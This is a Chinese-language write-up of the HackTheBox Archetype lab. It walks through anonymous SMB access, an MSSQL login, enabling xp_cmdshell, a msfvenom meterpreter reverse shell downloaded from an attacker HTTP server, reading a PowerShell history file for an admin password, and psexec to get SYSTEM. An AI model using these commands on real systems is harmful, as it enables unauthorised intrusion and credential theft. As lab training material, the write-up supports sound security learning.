HackTheBox:Archetype 靶场的完整渗透流程


一、端口扫描
1
| nmap -sS -T4 -sV -Pn 10.129.75.207
|

445是smb(共享文件协议)端口,在未配置权限情况下可能允许匿名访问共享文件夹。
二、SMB 信息收集
尝试空密码进行SMB登陆
1. -L表示列出共享资源
2. -N表示不使用密码
1
| smbclient -L -N //10.129.75.207/
|

发现backups目录
SMB连接并列出目录内容,下载有用文件
1 2 3
| smbclient //10.129.75.207/backups -N smb: \> ls smb: \> get prod.dtsConfig
|

发现账号密码

三、MSSQL 利用
1.使用网络协议包impacket中的mssqlclient连接SQL server 服务器
1
| impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.75.207
|

同时检查数据库权限
⚠ 易错提示,点击查看
注意这里的 `/` 不能写成 `\`, 正确:`ARCHETYPE/sql_svc@10.129.75.207` 错误:`ARCHETYPE\sql_svc@10.129.75.207`(会导致连接失败)四、获取shell
1. 使用xp_cmdshell执行命令
💡 关于 xp_cmdshell
`xp_cmdshell` 是 SQL Server 内置的扩展存储过程,允许直接在数据库中执行系统命令(调用 Windows 命令行解释器)。 它的常见用途包括: - 执行系统级脚本 - 下载文件 - 启动其他程序 如果数据库账号有高权限(如 `sysadmin`),攻击者可以利用 `xp_cmdshell` 在目标系统上执行任意命令,从而直接拿到系统权限。我们需要修改配置
1 2 3 4
| EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
执行命令成功后检查
1
| EXEC xp_cmdshell 'whoami';
|

2. 利用msf生成exe上传并执行
1
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.34 LPORT=4444 -f exe -o shell.exe
|
启动http服务,开启8000端口
1
| python3 -m http.server 8000
|

3. 通过mssql下载到可下载目录下
1
| EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.34:8000/shell.exe -outfile shell.exe"
|

4. msf监听并执行shell.exe
1 2 3 4 5 6
| msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.10.16.34 set LPORT 4444 exploit
|
1
| xp_cmdshell "C:\Users\sql_svc\Downloads\shell.exe"
|

五、获取系统权限system
1. 查看powershell历史命令
1
| type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|

2. 利用psexec进行登陆连接
1
| impacket-psexec administrator@10.129.75.207
|

💡 关于 PsExec(点击展开)
PsExec 是一种轻型 telnet-replacement,可用于在其他系统上执行进程,无需手动安装客户端软件即可完成控制台应用程序的完整交互性。 PsExec 最强大的用途包括在远程系统和远程启用工具(如 IpConfig)上启动交互式命令提示符。 psexec 的使用不需要对方主机开启 3389 端口,只需要对方开启 admin 共享或 c 盘共享(默认开启,依赖于 445 端口)。 但是,假如目标主机开启了防火墙(默认禁止 445 端口连接),psexec 也是不能使用的,会提示找不到网络路径。 由于 psexec 是 Windows 提供的工具,所以杀毒软件会将其添加到白名单中。完成!
总结
本次 HTB Archetype 靶场主要学习了:
- SMB 匿名访问与敏感文件泄露
- MSSQL 连接与 xp_cmdshell 命令执行
- 利用 MSF 生成木马并反弹 shell
- Windows 提权思路(历史命令获取明文密码 + psexec)
此外在使用靶场环境时候,为了防止靶场文件不知道放在那里,最好在powershell开始之前先切换靶场目录。
在执行反弹shell的时候一定要小心lhost和lport不要写错。
在本次测试中,也遇到了一些没遇到过的问题,比如:
- MSSQL 连接时的路径问题(
/ 和 \ 的区别) - Powershell 历史命令的存储位置
以上是本次测试的总结,再接再厉!